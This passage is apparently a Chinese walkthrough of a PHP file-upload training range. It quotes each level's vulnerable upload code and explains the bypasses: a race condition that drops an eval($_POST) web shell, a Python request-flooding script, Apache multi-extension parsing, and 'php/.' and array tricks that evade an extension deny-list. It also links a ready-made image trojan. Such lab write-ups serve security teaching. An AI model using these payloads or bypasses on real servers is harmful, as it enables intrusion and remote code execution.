  $im  =  imagecreatefrompng ( $target_path ); 
             if ( $im  ==  false ){ 
                 $msg  =  "该文件不是png格式的图片!" ; 
                 @ unlink ( $target_path ); 
             } else { 
                  //给新图片指定文件名
  srand ( time ()); 
                $newfilename  =  strval ( rand ()) . ".png" ; 
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  $img_path  =  UPLOAD_PATH . '/' . $newfilename ; 
                imagepng ( $im , $img_path ); 
 
                 @ unlink ( $target_path ); 
                 $is_upload  =  true ;                
             } 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
 
     } else  if (( $fileext  ==  "gif" )  &&  ( $filetype == "image/gif" )){ 
         if ( move_uploaded_file ( $tmpname , $target_path )){ 
             //使用上传的图片生成新的图片
  $im  =  imagecreatefromgif ( $target_path ); 
            if ( $im  ==  false ){ 
                 $msg  =  "该文件不是gif格式的图片!" ; 
                 @ unlink ( $target_path ); 
             } else { 
                 //给新图片指定文件名
  srand ( time ()); 
                $newfilename  =  strval ( rand ()) . ".gif" ; 
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  $img_path  =  UPLOAD_PATH . '/' . $newfilename ; 
                imagegif ( $im , $img_path ); 
 
                 @ unlink ( $target_path ); 
                 $is_upload  =  true ; 
             } 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
     } else { 
         $msg  =  "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; 
     } 
 } 
 
 
代码对上传图片判断后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染。
解决方法:将木马放在不会被二次渲染清除的地方,这个位置需要去不断尝试。推荐用别人做好的图片马:
https://wwe.lanzoui.com/iFSwwn53jaf 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
  
$is_upload  =  false ; 
$msg  =  null ; 
 if ( isset ( $_POST [ 'submit' ])){ 
    $ext_arr  =  array ( 'jpg' , 'png' , 'gif' ); 
     $file_name  =  $_FILES [ 'upload_file' ][ 'name' ]; 
     $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
     $file_ext  =  substr ( $file_name , strrpos ( $file_name , "." ) + 1 ); 
     $upload_file  =  UPLOAD_PATH  .  '/'  .  $file_name ; 
 
     if ( move_uploaded_file ( $temp_file ,  $upload_file )){ 
         if ( in_array ( $file_ext , $ext_arr )){ 
              $img_path  =  UPLOAD_PATH  .  '/' .  rand ( 10 ,  99 ) . date ( "YmdHis" ) . "." . $file_ext ; 
              rename ( $upload_file ,  $img_path ); 
              $is_upload  =  true ; 
         } else { 
             $msg  =  "只允许上传.jpg|.png|.gif类型文件!" ; 
             unlink ( $upload_file ); 
         } 
     } else { 
         $msg  =  '上传出错!' ; 
     } 
 } 
 
 
代码先将上传的 文件保存在服务器的临时路径里,再通过检查来判断是否转移到正式路径。
从保存到临时路径到未通过检测、删除文件之间有个短暂的时间差,在此之前的文件是存在服务器上的,所以可以不断上传一个可以在生成webshell.php的文件,同时不断去访问这个文件,总有几率在文件未被删除时访问到文件,激活代码,产生一个webshell.php。
文件内容为:
1
 2
 3
  
<? php 
fputs ( fopen ( 'webshell.php' , 'w' ), '<?php @eval($_POST["wtlr"]) ?>' ); 
?> 
  
 
重复发包的方法:
将抓到的包转到Intruder模块:
线程随便设置一下:
最后点击**“Start attack”**就可以不断发包了。
重复访问url的脚本:
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
  
import  requests 
import  time 
import  concurrent.futures 
 def  visit_website ( url ,  request_number ): 
    try : 
         with  requests . Session ()  as  session : 
             response  =  session . get ( url ) 
             if  response . status_code  ==  200 : 
                 print ( f "Request  { request_number }  - Status code:  { response . status_code } " ) 
             else : 
                 print ( f "Request  { request_number }  - Error:  { response . status_code } " ) 
     except  requests . exceptions . RequestException  as  e : 
         print ( f "Request  { request_number }  - An error occurred:" ,  str ( e )) 
 
 # 用户输入要访问的网站地址、请求数量和延迟时间 
url  =  input ( "请输入要访问的网站地址(包括协议):" ) 
num_requests  =  int ( input ( "请输入请求数量:" )) 
delay  =  float ( input ( "请输入每次请求的延迟时间(以秒为单位):" )) 
 # 创建线程池 
with  concurrent . futures . ThreadPoolExecutor ()  as  executor : 
    # 提交任务到线程池 
     future_to_url  =  { executor . submit ( visit_website ,  url ,  i + 1 ):  i + 1  for  i  in  range ( num_requests )} 
     
     # 获取任务结果 
     for  future  in  concurrent . futures . as_completed ( future_to_url ): 
         try : 
             future . result () 
         except  Exception  as  e : 
             print ( "An error occurred:" ,  str ( e )) 
         
         # 控制请求间隔 
         time . sleep ( delay ) 
  
 
  1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
  
//index.php
 $is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ])) 
{ 
    require_once ( "./myupload.php" ); 
     $imgFileName  = time (); 
     $u  =  new  MyUpload ( $_FILES [ 'upload_file' ][ 'name' ],  $_FILES [ 'upload_file' ][ 'tmp_name' ],  $_FILES [ 'upload_file' ][ 'size' ], $imgFileName ); 
     $status_code  =  $u -> upload ( UPLOAD_PATH ); 
     switch  ( $status_code )  { 
         case  1 : 
             $is_upload  =  true ; 
             $img_path  =  $u -> cls_upload_dir  .  $u -> cls_file_rename_to ; 
             break ; 
         case  2 : 
             $msg  =  '文件已经被上传,但没有重命名。' ; 
             break ;  
         case  - 1 : 
             $msg  =  '这个文件不能上传到服务器的临时文件存储目录。' ; 
             break ;  
         case  - 2 : 
             $msg  =  '上传失败,上传目录不可写。' ; 
             break ;  
         case  - 3 : 
             $msg  =  '上传失败,无法上传该类型文件。' ; 
             break ;  
         case  - 4 : 
             $msg  =  '上传失败,上传的文件过大。' ; 
             break ;  
         case  - 5 : 
             $msg  =  '上传失败,服务器已经存在相同名称文件。' ; 
             break ;  
         case  - 6 : 
             $msg  =  '文件无法上传,文件不能复制到目标目录。' ; 
             break ;       
         default : 
             $msg  =  '未知错误!' ; 
             break ; 
     } 
 } 
 //myupload.php
 class  MyUpload { 
...... 
...... 
......  
  var  $cls_arr_ext_accepted  =  array ( 
       ".doc" ,  ".xls" ,  ".txt" ,  ".pdf" ,  ".gif" ,  ".jpg" ,  ".zip" ,  ".rar" ,  ".7z" , ".ppt" , 
       ".html" ,  ".xml" ,  ".tiff" ,  ".jpeg" ,  ".png"  ); 
 
 ...... 
...... 
......   
  /** upload()
     **
    ** Method to upload the file.
    ** This is the only method to call outside the class.
    ** @para String name of directory we upload to
    ** @returns void
   **/ 
  function  upload (  $dir  ){ 
     
     $ret  =  $this -> isUploadedFile (); 
     
     if (  $ret  !=  1  ){ 
       return  $this -> resultUpload (  $ret  ); 
     } 
 
     $ret  =  $this -> setDir (  $dir  ); 
     if (  $ret  !=  1  ){ 
       return  $this -> resultUpload (  $ret  ); 
     } 
 
     $ret  =  $this -> checkExtension (); 
     if (  $ret  !=  1  ){ 
       return  $this -> resultUpload (  $ret  ); 
     } 
 
     $ret  =  $this -> checkSize (); 
     if (  $ret  !=  1  ){ 
       return  $this -> resultUpload (  $ret  );     
     } 
     
     // if flag to check if the file exists is set to 1
      if (  $this -> cls_file_exists  ==  1  ){ 
       
       $ret  =  $this -> checkFileExists (); 
       if (  $ret  !=  1  ){ 
         return  $this -> resultUpload (  $ret  );     
       } 
     } 
 
     // if we are here, we are ready to move the file to destination
      $ret  =  $this -> move (); 
     if (  $ret  !=  1  ){ 
       return  $this -> resultUpload (  $ret  );     
     } 
 
     // check if we need to rename the file
      if (  $this -> cls_rename_file  ==  1  ){ 
       $ret  =  $this -> renameFile (); 
       if (  $ret  !=  1  ){ 
         return  $this -> resultUpload (  $ret  );     
       } 
     } 
     
     // if we are here, everything worked as planned :)
      return  $this -> resultUpload (  "SUCCESS"  ); 
   
   } 
 ...... 
...... 
......  
}; 
 
 
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件:
         
         
这关作者的本意应该是想让我们学习到Apache解析漏洞 ,如果重复发包上传文件webshell.php.7z,有几率导致某次服务器无法对上传过来的文件成功重命名,就导致webshell.php.7z未被重命名被传到服务器里。Apache解析漏洞会将webshell.php.*都当作webshell.php执行。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( "php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" ); 
 
         $file_name  =  $_POST [ 'save_name' ]; 
         $file_ext  =  pathinfo ( $file_name , PATHINFO_EXTENSION ); 
 
         if ( ! in_array ( $file_ext , $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH  .  '/'  . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  {  
                 $is_upload  =  true ; 
             } else { 
                 $msg  =  '上传出错!' ; 
             } 
         } else { 
             $msg  =  '禁止保存为该类型文件!' ; 
         } 
 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
代码通过move_uploaded_file()将上传的文件移动到新位置
move_uploaded_file()的特性:移动的时候会忽略掉文件末尾的 /.,而php/.可以绕过黑名单。
所以可以上传后门,命名为upload-19.php/.
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
  
$is_upload  =  false ; 
$msg  =  null ; 
if ( ! empty ( $_FILES [ 'upload_file' ])){ 
    //检查MIME
  $allow_type  =  array ( 'image/jpeg' , 'image/png' , 'image/gif' ); 
    if ( ! in_array ( $_FILES [ 'upload_file' ][ 'type' ], $allow_type )){ 
         $msg  =  "禁止上传该类型文件!" ; 
     } else { 
         //检查文件名
  $file  =  empty ( $_POST [ 'save_name' ])  ?  $_FILES [ 'upload_file' ][ 'name' ]  :  $_POST [ 'save_name' ]; 
        if  ( ! is_array ( $file ))  { 
             $file  =  explode ( '.' ,  strtolower ( $file )); 
         } 
 
         $ext  =  end ( $file ); 
         $allow_suffix  =  array ( 'jpg' , 'png' , 'gif' ); 
         if  ( ! in_array ( $ext ,  $allow_suffix ))  { 
             $msg  =  "禁止上传该后缀文件!" ; 
         } else { 
             $file_name  =  reset ( $file )  .  '.'  .  $file [ count ( $file )  -  1 ]; 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH  .  '/'  . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $msg  =  "文件上传成功!" ; 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  "文件上传失败!" ; 
             } 
         } 
     } 
 } else { 
    $msg  =  "请选择要上传的文件!" ; 
 } 
 
 
验证过程:
验证上传路径是否存在 
验证['upload_file']的content-type是否合法(可以抓包修改) 
判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断) 
判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组 
数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name 
上传文件 
 
绕过:
将要保存的文件名变成一个空间为3的数组,第2个值([1])留空
这样子就会把upload-20.php/与.与拼接
最后就是upload-20.php/.
move_uploaded_file()移动文件的时候会忽略/.!!
         
文件上传后存储目录不给执行权限
把上传的文件数据编码后存储,固定方式解析
将文件保存在另外一台服务器上
将文件保存在OSS上